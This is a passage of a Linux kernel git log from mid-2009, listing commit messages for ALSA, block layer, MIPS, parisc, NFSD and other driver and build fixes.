      ASoC: Only disable pxa2xx-i2s clocks if we enabled them
      ALSA: hda - Add quirk for HP 6930p
      ALSA: hda - Add missing static to patch_ca0110()
      ASoC: OMAP: fix OMAP1510 broken PCM pointer callback
      ASoC: remove BROKEN from Efika and pcm030 fabric drivers
      ASoC: Fix typo in MPC5200 PSC AC97 driver Kconfig

commit 29f31773e07772e73e3177a4af147244cd080554
Merge: 59107c6525c0d325649eae807905d34772d5a664 112942353992d95099fb5b71c679ff1046fccfcf
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sat Jul 4 09:46:01 2009 -0700

    Merge git://git.kernel.org/pub/scm/linux/kernel/git/sam/kbuild-fixes
    
    * git://git.kernel.org/pub/scm/linux/kernel/git/sam/kbuild-fixes:
      kbuild: finally remove the obsolete variable $TOPDIR
      gitignore: ignore scripts/ihex2fw
      Kbuild: Disable the -Wformat-security gcc flag
      gitignore: ignore gcov output files
      kbuild: deb-pkg ship changelog
      Add new __init_task_data macro to be used in arch init_task.c files.
      asm-generic/vmlinux.lds.h: shuffle INIT_TASK* macro names in vmlinux.lds.h
      Add new macros for page-aligned data and bss sections.
      asm-generic/vmlinux.lds.h: Fix up RW_DATA_SECTION definition.

commit 59107c6525c0d325649eae807905d34772d5a664
Merge: 746a99a5af60ee676afa2ba469ccd1373493c7e7 ab0fd1debe730ec9998678a0c53caefbd121ed10
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sat Jul 4 09:45:31 2009 -0700

    Merge branch 'for-linus' of git://git.kernel.dk/linux-2.6-block
    
    * 'for-linus' of git://git.kernel.dk/linux-2.6-block:
      block: don't merge requests of different failfast settings
      cciss: Ignore stale commands after reboot

commit 7ce1695c40e765e99cd790f55fc68037bc05d080
Merge: 854ace9c40d2b121191e1644aa4b0b68c4a226d3 954a973cab37ad5df3f87f08964166abd956cc17
Author: Takashi Iwai <tiwai@suse.de>
Date:   Fri Jul 3 23:50:47 2009 +0200

    Merge branch 'fix/soundcore' into for-linus
    
    * fix/soundcore:
      sound: do not set DEVNAME for OSS devices

commit 854ace9c40d2b121191e1644aa4b0b68c4a226d3
Merge: dbe45d0ce394732cc06187e929697fc0fb16aa53 c470331e69bd54d11a9ea3c27a0e4ad783d02d6b
Author: Takashi Iwai <tiwai@suse.de>
Date:   Fri Jul 3 23:50:45 2009 +0200

    Merge branch 'fix/hda' into for-linus
    
    * fix/hda:
      ALSA: hda - Add sanity check in PCM open callback
      ALSA: hda - Call snd_pcm_lib_hw_rates() again after codec open callback
      ALSA: hda - Avoid invalid formats and rates with shared SPDIF
      ALSA: hda - Improve ASUS eeePC 1000 mixer
      ALSA: hda - Add GPIO1 control at muting with HP laptops

commit 954a973cab37ad5df3f87f08964166abd956cc17
Author: Kay Sievers <kay.sievers@suse.de>
Date:   Fri Jul 3 20:56:05 2009 +0200

    sound: do not set DEVNAME for OSS devices
    
    Signed-off-by: Kay Sievers <kay.sievers@vrfy.org>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit c470331e69bd54d11a9ea3c27a0e4ad783d02d6b
Author: Takashi Iwai <tiwai@suse.de>
Date:   Fri Jul 3 23:10:23 2009 +0200

    ALSA: hda - Add sanity check in PCM open callback
    
    Add some sanity checks of struct snd_pcm_hardware fields in the PCM
    open callback of hda driver.  This makes a bit easier to debug any PCM
    setup errors in the codec side.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit 70d321e6380f128096429d6e5b678f94ab0cef5d
Author: Takashi Iwai <tiwai@suse.de>
Date:   Fri Jul 3 23:06:45 2009 +0200

    ALSA: hda - Call snd_pcm_lib_hw_rates() again after codec open callback
    
    The PCM rates bit field may have been changed by the codec open callback.
    In that case, we need to reset rate_min and rate_max.  So, simply call
    snd_pcm_lib_hw_rates() again after the codec open callback.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit 022b466fc353d3dc7a152451144be656248666ce
Author: Takashi Iwai <tiwai@suse.de>
Date:   Fri Jul 3 23:03:30 2009 +0200

    ALSA: hda - Avoid invalid formats and rates with shared SPDIF
    
    Check whether formats and rates don't result in zero due to the
    restriction of SPDIF sharing.  If any of them can be zero, disable
    the SPDIF sharing mode instead.  Otherwise it will lead to a PCM
    configuration error.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit ab0fd1debe730ec9998678a0c53caefbd121ed10
Author: Tejun Heo <tj@kernel.org>
Date:   Fri Jul 3 12:56:18 2009 +0200

    block: don't merge requests of different failfast settings
    
    Block layer used to merge requests and bios with different failfast
    settings.  This caused regular IOs to fail prematurely when they were
    merged into failfast requests for readahead.
    
    Niel Lambrechts could trigger the problem semi-reliably on ext4 when
    resuming from STR.  ext4 uses readahead when reading inodes and
    combined with the deterministic extra SATA PHY exception cycle during
    resume on the specific configuration, non-readahead inode read would
    fail causing ext4 errors.  Please read the following thread for
    details.
    
      http://lkml.org/lkml/2009/5/23/21
    
    This patch makes block layer reject merging if the failfast settings
    don't match.  This is correct but likely to lower IO performance by
    preventing regular IOs from mingling into surrounding readahead
    requests.  Changes to allow such mixed merges and handle errors
    correctly will be added later.
    
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Reported-by: Niel Lambrechts <niel.lambrechts@gmail.com>
    Cc: Theodore Tso <tytso@mit.edu>
    Signed-off-by: Jens Axboe <axboe@carl.(none)>

commit b59e64d0ddb756af57ea032383bfd393a286a8e8
Author: Hannes Reinecke <hare@suse.de>
Date:   Thu Jul 2 22:02:06 2009 +0200

    cciss: Ignore stale commands after reboot
    
    When doing an unexpected shutdown like kexec the cciss
    firmware might still have some commands in flight, which
    it is trying to complete.
    The driver is doing it's best on resetting the HBA,
    but sadly there's a firmware issue causing the firmware
    _not_ to abort or drop old commands.
    So the firmware will send us commands which we haven't
    accounted for, causing the driver to panic.
    
    With this patch we're just ignoring these commands as
    there is nothing we could be doing with them anyway.
    
    Signed-off-by: Hannes Reinecke <hare@suse.de>
    Acked-by: Mike Miller <mike.miller@hp.com>
    Signed-off-by: Jens Axboe <axboe@carl.(none)>

commit baf922780251d12bc1c24c83df60c4c278abb745
Author: Ralf Baechle <ralf@linux-mips.org>
Date:   Fri Jul 3 07:11:15 2009 +0100

    MIPS: Fix CONFIG_FLATMEM version of pfn_valid()
    
    For systems which do not define PHYS_OFFSET as 0 pfn_valid() may falsely
    have returned 0 on most configurations.  Bug introduced by commit
    752fbeb2e3555c0d236e992f1195fd7ce30e728d (linux-mips.org) rsp.
    6f284a2ce7b8bc49cb8455b1763357897a899abb (kernel.org) titled "[MIPS]
    FLATMEM: introduce PHYS_OFFSET."
    
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 01a6221a6a51ec47b9ae3ed42c396f98dd488c7e
Author: David Daney <ddaney@caviumnetworks.com>
Date:   Mon Jun 29 17:18:51 2009 -0700

    MIPS: Reorganize Cavium OCTEON PCI support.
    
    Move the cavium PCI files to the arch/mips/pci directory.  Also cleanup
    comment formatting and code layout.  Code from pci-common.c, was moved
    into other files.
    
    Signed-off-by: David Daney <ddaney@caviumnetworks.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit ada8e9514b5880f81cdbbd212d121380ceef7acc
Author: Yoichi Yuasa <yuasa@linux-mips.org>
Date:   Fri Jul 3 00:39:38 2009 +0900

    Update Yoichi Yuasa's e-mail address
    
    Signed-off-by: Yoichi Yuasa <yuasa@linux-mips.org>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 3f5b3e17f791ba27f91fc4fdc514e7704d4d6273
Author: Ralf Baechle <ralf@linux-mips.org>
Date:   Thu Jul 2 11:48:07 2009 +0100

    MIPS: Allow suspend and hibernation again on uniprocessor kernels.
    
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    Acked-by: Pavel Machek <pavel@ucw.cz>

commit cad9bc69048b073023366ebb0878c1dd64a2c4d9
Author: Yong Zhang <yong.zhang@windriver.com>
Date:   Wed Jul 1 09:35:39 2009 +0800

    MIPS: 64-bit: Fix o32 core dump
    
    If an o32 process generates a core dump on a 64 bit kernel, the core file
    will not be correctly recognized. This is because ELF_CORE_COPY_REGS and
    ELF_CORE_COPY_TASK_REGS are not correctly defined for o32 and will use
    the default register set which would be CONFIG_64BIT in asm/elf.h.
    
    So we'll switch to use the right register defines in this situation by
    checking for WANT_COMPAT_REG_H and use the right defines of
    ELF_CORE_COPY_REGS and ELF_CORE_COPY_TASK_REGS.
    
    [Ralf: made ELF_CORE_COPY_TASK_REGS() bullet-proof against funny arguments.]
    
    Signed-off-by: Yong Zhang <yong.zhang@windriver.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit ea4bbfd0048c53c24f72ef668b39f1247bc243c0
Author: matthieu castet <castet.matthieu@free.fr>
Date:   Tue Jun 30 23:04:55 2009 +0200

    MIPS: BC47xx: Fix SSB irq setup
    
    The current ssb irq setup in ssb_mipscore_init has the problem that it
    configures some device on some irq without checking that the irq is not
    taken by an other device.
    
    For example in my case PCI host is on irq 0 and IPSEC on irq 3.
    The current code:
      - store in dev->irq that IPSEC irq is 3 + 2
      - do a set_irq 0->3 on PCI host
    
    But now IPSEC irq is not routed anymore to the mips code and dev->irq is
    wrong.  This causes a problem described in [1].
    
    This patch tries to solve the problem by making set_irq configure the
    device we want to take the irq on the shared irq0. The previous example
    becomes:
      - store in dev->irq that IPSEC irq is 3 + 2
      - do a set_irq 0->3 on PCI host:
      - irq 3 is already taken by IPSEC. do a set_irq 3->0 on IPSEC
    
    I also added some code to print the irq configuration after irq setup to
    allow easier debugging. And I add extra checking in ssb_mips_irq to report
    device without irq or device with not routed irq.
    
    [1] http://www.danm.de/files/src/bcm5365p/REPORTED_DEVICES
    
    Signed-off-by: Matthieu CASTET <castet.matthieu@free.fr>
    Acked-by : Michael Buesch <mb@bu3sch.de>
    Tested-by: Florian Fainelli <florian@openwrt.org>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit eb9b5141a9815ef898ef6b6441f733e81c272600
Author: Tim Anderson <tanderson@mvista.com>
Date:   Wed Jun 17 16:40:34 2009 -0700

    MIPS: CMP: Update sync-r4k for current kernel
    
    This revises the sync-4k so it will boot and operate since the removal of
    expirelo from the timer code.
    
    Signed-off-by: Tim Anderson <tanderson@mvista.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 47b178bb69ea4d0043f2df509c714bc5b287f375
Author: Tim Anderson <tanderson@mvista.com>
Date:   Wed Jun 17 16:25:18 2009 -0700

    MIPS: CMP: Move gcmp_probe to before the SMP ops
    
    This is to move the gcmp_probe call to before the use of and selection of
    the smp_ops functions. This allows malta with 1004K to work.
    
    Signed-off-by: Tim Anderson <tanderson@mvista.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 0365070f05f12f1648b4adf22cfb52ec7a8a371c
Author: Tim Anderson <tanderson@mvista.com>
Date:   Wed Jun 17 16:22:53 2009 -0700

    MIPS: CMP: activate CMP support
    
    Most of the CMP support was added before, this mostly correct compile
    problems but adds a platform specific translation for the interrupt number
    based on cpu number.
    
    Signed-off-by: Tim Anderson <tanderson@mvista.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit a214cef9a5d06894785dca1f967c9c324cc84c17
Author: Tim Anderson <tanderson@mvista.com>
Date:   Wed Jun 17 16:22:25 2009 -0700

    MIPS: CMP: Extend IPI handling to CPU number
    
    This takes the current IPI interrupt assignment from the fix number of 4
    to the number of CPUs defined in the system.
    
    Signed-off-by: Tim Anderson <tanderson@mvista.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 9306c8def6abc2dbde4ac75eb6c631606b8fc1dd
Author: Tim Anderson <tanderson@mvista.com>
Date:   Wed Jun 17 16:21:19 2009 -0700

    MIPS: CMP: Extend the GIC IPI interrupts beyond 32
    
    This patch extends the GIC interrupt handling beyond the current 32 bit
    range as well as extending the number of interrupts based on the number
    of CPUs.
    
    Signed-off-by: Tim Anderson <tanderson@mvista.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit b53d4d1f8d522342e66f79b8b49a19835071fed4
Author: David Daney <ddaney@caviumnetworks.com>
Date:   Mon Jun 29 09:54:15 2009 -0700

    MIPS: Define __arch_swab64 for all mips r2 cpus
    
    Some CPUs implement mipsr2, but because they are a super-set of mips64r2 do
    not define CONFIG_CPU_MIPS64_R2.  Cavium OCTEON falls into this category.
    We would still like to use the optimized implementation, so since we have
    already checked for CONFIG_CPU_MIPSR2, checking for CONFIG_64BIT instead of
    CONFIG_CPU_MIPS64_R2 is sufficient.
    
    Signed-off-by: David Daney <ddaney@caviumnetworks.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 27fdd325dace4a1ebfa10e93ba6f3d25f25df674
Author: Yoichi Yuasa <yyuasa@linux.com>
Date:   Mon Jun 29 11:11:05 2009 +0900

    MIPS: Update VR41xx GPIO driver to use gpiolib
    
    Signed-off-by: Yoichi Yuasa <yyuasa@linux.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 69f16c9a8630edc64cb1d6f1bfca4ee7bc16279f
Author: David Daney <ddaney@caviumnetworks.com>
Date:   Fri Jun 26 09:53:57 2009 -0700

    MIPS: Hookup new syscalls sys_rt_tgsigqueueinfo and sys_perf_counter_open.
    
    [Ralf: I fixed up the numbering in the comment in scall64-n32.S.]
    
    Signed-off-by: David Daney <ddaney@caviumnetworks.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit d7e014db374d987c6bcff0b9abab2c6796f8e793
Author: Dmitri Vorobiev <dmitri.vorobiev@movial.com>
Date:   Fri Jun 26 19:59:25 2009 +0300

    MIPS: Malta: Remove unnecessary function prototypes
    
    Signed-off-by: Dmitri Vorobiev <dmitri.vorobiev@movial.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 52a7a27cd8f6c57817da99fef019e37b9c303c4e
Author: Joe Perches <joe@perches.com>
Date:   Sun Jun 28 09:26:09 2009 -0700

    MIPS: MT: Remove unnecessary semicolons
    
    Signed-off-by: Joe Perches <joe@perches.com>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 7ca5dc145bc7daddd8aed8bbda46b74af9cebefc
Author: Florian Fainelli <florian@openwrt.org>
Date:   Wed Jun 24 11:12:57 2009 +0200

    MIPS: Add support for Texas Instruments AR7 System-on-a-Chip
    
    This patch adds support for the Texas Instruments AR7 System-on-a-Chip.
    It supports the TNETD7100, 7200 and 7300 versions of the SoC.
    
    Signed-off-by: Matteo Croce <matteo@openwrt.org>
    Signed-off-by: Felix Fietkau <nbd@openwrt.org>
    Signed-off-by: Eugene Konev <ejka@openwrt.org>
    Signed-off-by: Nicolas Thill <nico@openwrt.org>
    Signed-off-by: Florian Fainelli <florian@openwrt.org>
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

commit 033a666ccb842ab4134fcd0c861d5ba9f5d6bf3a
Author: David Howells <dhowells@redhat.com>
Date:   Thu Jul 2 14:35:32 2009 +0100

    NFSD: Don't hold unrefcounted creds over call to nfsd_setuser()
    
    nfsd_open() gets an unrefcounted pointer to the current process's effective
    credentials at the top of the function, then calls nfsd_setuser() via
    fh_verify() - which may replace and destroy the current process's effective
    credentials - and then passes the unrefcounted pointer to dentry_open() - but
    the credentials may have been destroyed by this point.
    
    Instead, the value from current_cred() should be passed directly to
    dentry_open() as one of its arguments, rather than being cached in a variable.
    
    Possibly fh_verify() should return the creds to use.
    
    This is a regression introduced by
    745ca2475a6ac596e3d8d37c2759c0fbe2586227 "CRED: Pass credentials through
    dentry_open()".
    
    Signed-off-by: David Howells <dhowells@redhat.com>
    Tested-and-Verified-By: Steve Dickson <steved@redhat.com>
    Cc: stable@kernel.org
    Signed-off-by: J. Bruce Fields <bfields@citi.umich.edu>

commit aa202455eec51699e44f658530728162cefa1307
Author: Takashi Iwai <tiwai@suse.de>
Date:   Fri Jul 3 15:00:54 2009 +0200

    ALSA: hda - Improve ASUS eeePC 1000 mixer
    
    The mixer elements created for ASUS eeePC 1000 with ALC269 aren't
    standard but strange words like "LineOut".  Rename the element names
    to follow the standard one like "Headphone" and "Speaker".
    Also, split the volumes to each so that the virtual master can control
    them.
    
    The alc269_fujitsu_mixer is removed because it's now identical with
    the new eeepc mixer.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit 099db17e66294b02814dee01c81d9abbbeece93e
Author: Takashi Iwai <tiwai@suse.de>
Date:   Thu Jul 2 16:10:23 2009 +0200

    ALSA: hda - Add GPIO1 control at muting with HP laptops
    
    HP laptops with AD1984A codecs (at least mobile models) need to set
    GPIO1 appropriately to indicate the mute state.  The BIOS checks this
    bit to judge whether the mute on or off is sent via F8 key.
    Without changing this bit, the BIOS can be confused and may toggle
    the mute wrongly.
    
    Reference: Novell bnc#515266
    	https://bugzilla.novell.com/show_bug.cgi?id=515266
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit 1c90ea2c7eb3b24a07a2f82164323588fb029bc1
Author: Daniel Ribeiro <drwyrm@gmail.com>
Date:   Tue Jun 23 12:30:58 2009 -0300

    mfd: fix pcap adc locking
    
    Release the lock on error.
    
    Signed-off-by: Daniel Ribeiro <drwyrm@gmail.com>
    Signed-off-by: Samuel Ortiz <sameo@linux.intel.com>

commit 992bb253cd6f08129edcb42b90e6c388ebf605f8
Author: Jiri Slaby <jirislaby@gmail.com>
Date:   Mon Jun 22 00:00:02 2009 +0200

    mfd: sm501, fix lock imbalance
    
    Add omitted unlock in sm501_unit_power.
    
    Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
    Signed-off-by: Samuel Ortiz <sameo@linux.intel.com>

commit 64daa4435a40aa1b7d0ece598ae783b89dda13ee
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Thu Jul 2 13:10:29 2009 -0400

    parisc: use generic atomic64 on 32-bit
    
    Somewhat redundant since our atomic_t uses hashed-locks on 32-bit
    anyway... Maybe we can clean those up to be generic too someday.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 0c5cb79198d80eaea273f3e91cb418d559f13462
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Thu Apr 16 14:45:59 2009 +0000

    parisc: superio: fix build breakage
    
    Usage of parport_pc_probe_port was changed in 28783eb52
    (parport: Fix various uses of parport_pc).
    
    It introduced this build error:
    drivers/parisc/superio.c: In function 'superio_parport_init':
    drivers/parisc/superio.c:437: error: too few arguments to function
    				'parport_pc_probe_port'
    
    Fix it.
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit ca0844e347cf0fc9719c825ea1959501117b7f89
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Fri Jun 26 17:44:18 2009 +0000

    parisc: Fix PCI resource allocation on non-PAT SBA machines
    
    We weren't marking the resources as memory resources, so they weren't
    being found by pci_claim_resource().
    
    Signed-off-by: Matthew Wilcox <willy@linux.intel.com>
    Reviewed-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 2d4618dce6a318ff4ec78dfe492cc3793015d540
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Tue Jun 23 21:38:49 2009 -0400

    parisc: perf: wire up sys_perf_counter_open
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit abf1e11a0dcf5514139cb76ed8eb050107653abd
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Tue Jun 23 21:32:18 2009 -0400

    parisc: add task_pt_regs macro
    
    needed for perf_counters.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 538e23615fe78b6da151ef136e3f7c6ad1fda2c1
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Tue Jun 23 20:22:06 2009 -0400

    parisc: wire sys_perf_counter_open to sys_ni_syscall
    
    Reserve a syscall slot for sys_perf_counter_open.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 0d56d1aa0e756f077b700420c54e1a52140e73b4
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Tue Jun 23 13:11:22 2009 -0400

    parisc: inventory.c, fix bloated stack frame
    
    The pa_pdc_cell struct can be kmalloc'd, so do that
    instead.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 64a0cdb026666cd9911fa045b863fb1f0f255dd8
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Tue Jun 23 13:10:03 2009 -0400

    parisc: processor.c, fix bloated stack frame
    
    The pa_pdc_cell struct can be kmalloc'd, so do that instead.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 20dbc9f724e02c26e30d89cf50e7ce259ab46da4
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Tue Jun 23 11:51:43 2009 -0400

    parisc: fix compile warning in mm/init.c
    
    arch/parisc/mm/init.c: In function 'free_initmem':
    381: warning: passing argument 1 of 'memset' makes pointer from integer without a cast
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit c3301ab4fb64cf84321d35a8e94f68c94c816dc1
Author: Christoph Hellwig <hch@lst.de>
Date:   Tue Jun 23 11:47:07 2009 -0400

    parisc: remove dead code from sys_parisc32.c
    
    Unless I'm totally missing something get_fd_set32/set_fd_set32 are
    completely unused.
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Acked-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 4435607e986c792a8753f8850b570fdd80b21b10
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Tue Jun 23 11:40:37 2009 -0400

    parisc: wire up rt_tgsigqueueinfo
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit e82a3b75127188f20c7780bec580e148beb29da7
Author: Helge Deller <deller@gmx.de>
Date:   Tue Jun 16 20:51:48 2009 +0000

    parisc: ensure broadcast tlb purge runs single threaded
    
    The TLB flushing functions on hppa, which causes PxTLB broadcasts on the system
    bus, needs to be protected by irq-safe spinlocks to avoid irq handlers to deadlock
    the kernel. The deadlocks only happened during I/O intensive loads and triggered
    pretty seldom, which is why this bug went so long unnoticed.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    [edited to use spin_lock_irqsave on UP as well since we'd been locking there
     all this time anyway, --kyle]
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 84be31be3727d11b2a91781306b642e801c5a379
Author: Grant Grundler <grundler@parisc-linux.org>
Date:   Mon Jun 1 00:20:23 2009 +0000

    parisc: fix "delay!" timer handling
    
    Rewrote timer_interrupt() to properly handle the "delayed!" case.
    
    If we used floating point math to compute the number of ticks that had
    elapsed since the last timer interrupt, it could take up to 12K cycles
    (emperical!) to handle the interrupt. Existing code assumed it would
    never take more than 8k cycles. We end up programming Interval Timer
    to a value less than "current" cycle counter.  Thus have to wait until
    Interval Timer "wrapped" and would then get the "delayed!" printk that
    I moved below.
    
    Since we don't really know what the upper limit is, I prefer to read
    CR16 again after we've programmed it to make sure we won't have to
    wait for CR16 to wrap.
    
    Further, the printk was between reading CR16 (cycle couner) and writing CR16
    (the interval timer). This would cause us to continue to set the interval
    timer to a value that was "behind" the cycle counter. Rinse and repeat.
    So no printk's between reading CR16 and setting next interval timer.
    
    Tested on A500 (550 Mhz PA8600).
    
    Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
    Tested-by: Kyle McMartin <kyle@mcmartin.ca>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
    
    ----
    Kyle, Helge, and other parisc's,
    Please test on 32-bit before committing.
    I think I have it right but recognize I might not.
    
    TODO: I wanted to use "do_div()" in order to get both remainder
    and value back with one division op. That should help with the
    latency alot but can be applied seperately from this patch.
    
    thanks,
    grant

commit 87451d850c895470a122308086069b7c326c914b
Author: Randolph Chung <randolph@tausq.org>
Date:   Tue Jun 23 14:53:26 2009 +0000

    parisc: fix mismatched parenthesis in memcpy.c
    
    >>>> I think this is what was intended? Note that this patch may affect
    >>>> profiling.
    >>> it really should be
    >>>
    >>> -    if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
    >>> +    if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {
    >>>
    >>> randolph
    
    Reported-by: Roel Kluin <roel.kluin@gmail.com>
    Signed-off-by: Randolph Chung <tausq@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit e957f608f321a97a60d065bccd01949590eef52e
Author: Grant Grundler <grundler@parisc-linux.org>
Date:   Tue Jun 23 11:03:11 2009 -0400

    parisc: Fix gcc 4.4 warning in lba_pci.c
    
    gcc 4.4 warns about:
    drivers/parisc/lba_pci.c: In function 'lba_pat_resources':
    drivers/parisc/lba_pci.c:1099: warning: the frame size of 8280 bytes is larger than 4096 bytes
    
    The problem is we declare two large structures on the stack. They don't need
    to be on the stack since they are only used during LBA initialization (which
    is serialized). Moving to be "static".
    
    Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit ebc30a0f67a4d6a9470556f4311478b3b04c2b1f
Author: Coly Li <coly.li@suse.de>
Date:   Thu Apr 30 22:43:46 2009 +0000

    parisc: add parameter to read_cr16()
    
    This patch modifies parameter of au1x_counter1_read() from 'void' to 'struct
    clocksource *cs', which fixes compile warning for incompatible parameter type.
    
    Signed-off-by: Coly Li <coly.li@suse.de>
    Signed-off-by: Helge Deller <deller@gmx.de>
    Cc: Ingo Molnar <mingo@elte.hu>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit e9b2601073aa57ffde7259afbe86f405060058e3
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Mon Apr 6 09:29:58 2009 +0000

    parisc: decode_exc.c should include kernel.h
    
    Fix this build error:
    arch/parisc/math-emu/decode_exc.c:351: undefined reference to `printk'
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit dfe07565021959f0f646e9e775810c1bfbe0f6d6
Author: Thomas Gleixner <tglx@linutronix.de>
Date:   Wed Jun 10 19:56:04 2009 +0000

    parisc: remove obsolete hw_interrupt_type
    
    The defines and typedefs (hw_interrupt_type, no_irq_type, irq_desc_t) have
    been kept around for migration reasons.  After more than two years it's
    time to remove them finally.
    
    This patch cleans up one of the remaining users.  When all such patches
    hit mainline we can remove the defines and typedefs finally.
    
    Impact: cleanup
    
    Convert the last remaining users to struct irq_chip and remove the
    define.
    
    Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 47b4150baa003fb83b93365f3eadd4c373e4fa6c
Author: Helge Deller <deller@gmx.de>
Date:   Sat Jun 6 21:54:28 2009 +0000

    parisc: fix irq compile bugs in arch/parisc/kernel/irq.c
    
    Fix miscompilation in arch/parisc/kernel/irq.c:
    123: warning: passing arg 1 of `cpumask_setall' from incompatible pointer type
    141: warning: passing arg 1 of `cpumask_copy' from incompatible pointer type
    300: warning: passing arg 1 of `cpumask_copy' from incompatible pointer type
    357: warning: passing arg 2 of `cpumask_copy' from incompatible pointer type
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit fed99b1e86f5ff4f1b41e37264bb869da67d3174
Author: Grant Grundler <grundler@parisc-linux.org>
Date:   Mon Apr 20 04:28:22 2009 +0000

    parisc: advertise PCI devs after "assign_resources"
    
    Alex Chiang asked me why PARISC was calling pci_bus_add_devices()
    and pci_bus_assign_resources() in the opposite order from everyone else.
    No reason and I couldn't see any data dependency.
    Patch below applies cleanly to 2.6.30-rc2.
    
    Later, I suspected the code worked only because no drivers would be
    loaded/ready until much later in the system initialization sequence.
    
    Tested "LBA" code on J6000 (32-bit) and A500 (64-bit SMP) with 2.6.30-rc2.
    Not tested with any Dino controllers.
    Not tested with PCI-PCI Bridge (TBD).
    
    Reported-by: Alex Chiang <achiang@hp.com>
    Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 7d17e2763129ea307702fcdc91f6e9d114b65c2d
Author: Helge Deller <deller@gmx.de>
Date:   Thu Apr 30 21:39:45 2009 +0000

    parisc: fix ldcw inline assembler
    
    There are two reasons to expose the memory *a in the asm:
    
    1) To prevent the compiler from discarding a preceeding write to *a, and
    2) to prevent it from caching *a in a register over the asm.
    
    The change has had a few days testing with a SMP build of 2.6.22.19
    running on a rp3440.
    
    This patch is about the correctness of the __ldcw() macro itself.
    The use of the macro should be confined to small inline functions
    to try to limit the effect of clobbering memory on GCC's optimization
    of loads and stores.
    
    Signed-off-by: Dave Anglin <dave.anglin@nrc-cnrc.gc.ca>
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 4fb11781a044552dded5342e1a78cf92a74683db
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sun Apr 5 02:53:47 2009 +0000

    parisc: kill WARN in free_initmem when DEBUG_KERNEL
    
    Doing an IPI with local interrupts off triggers a warning. We
    don't need to be quite so ridiculously paranoid. Also, clean up
    a bit of the code a little.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 692c14a5931341a37e4fbfca5fa96751187a108f
Author: Bastian Blank <waldi@debian.org>
Date:   Sat Apr 4 20:54:26 2009 +0000

    parisc: Remove casts from atomic macros
    
    The atomic operations on parisc are defined as macros. The macros
    includes casts which disallows the use of some syntax elements and
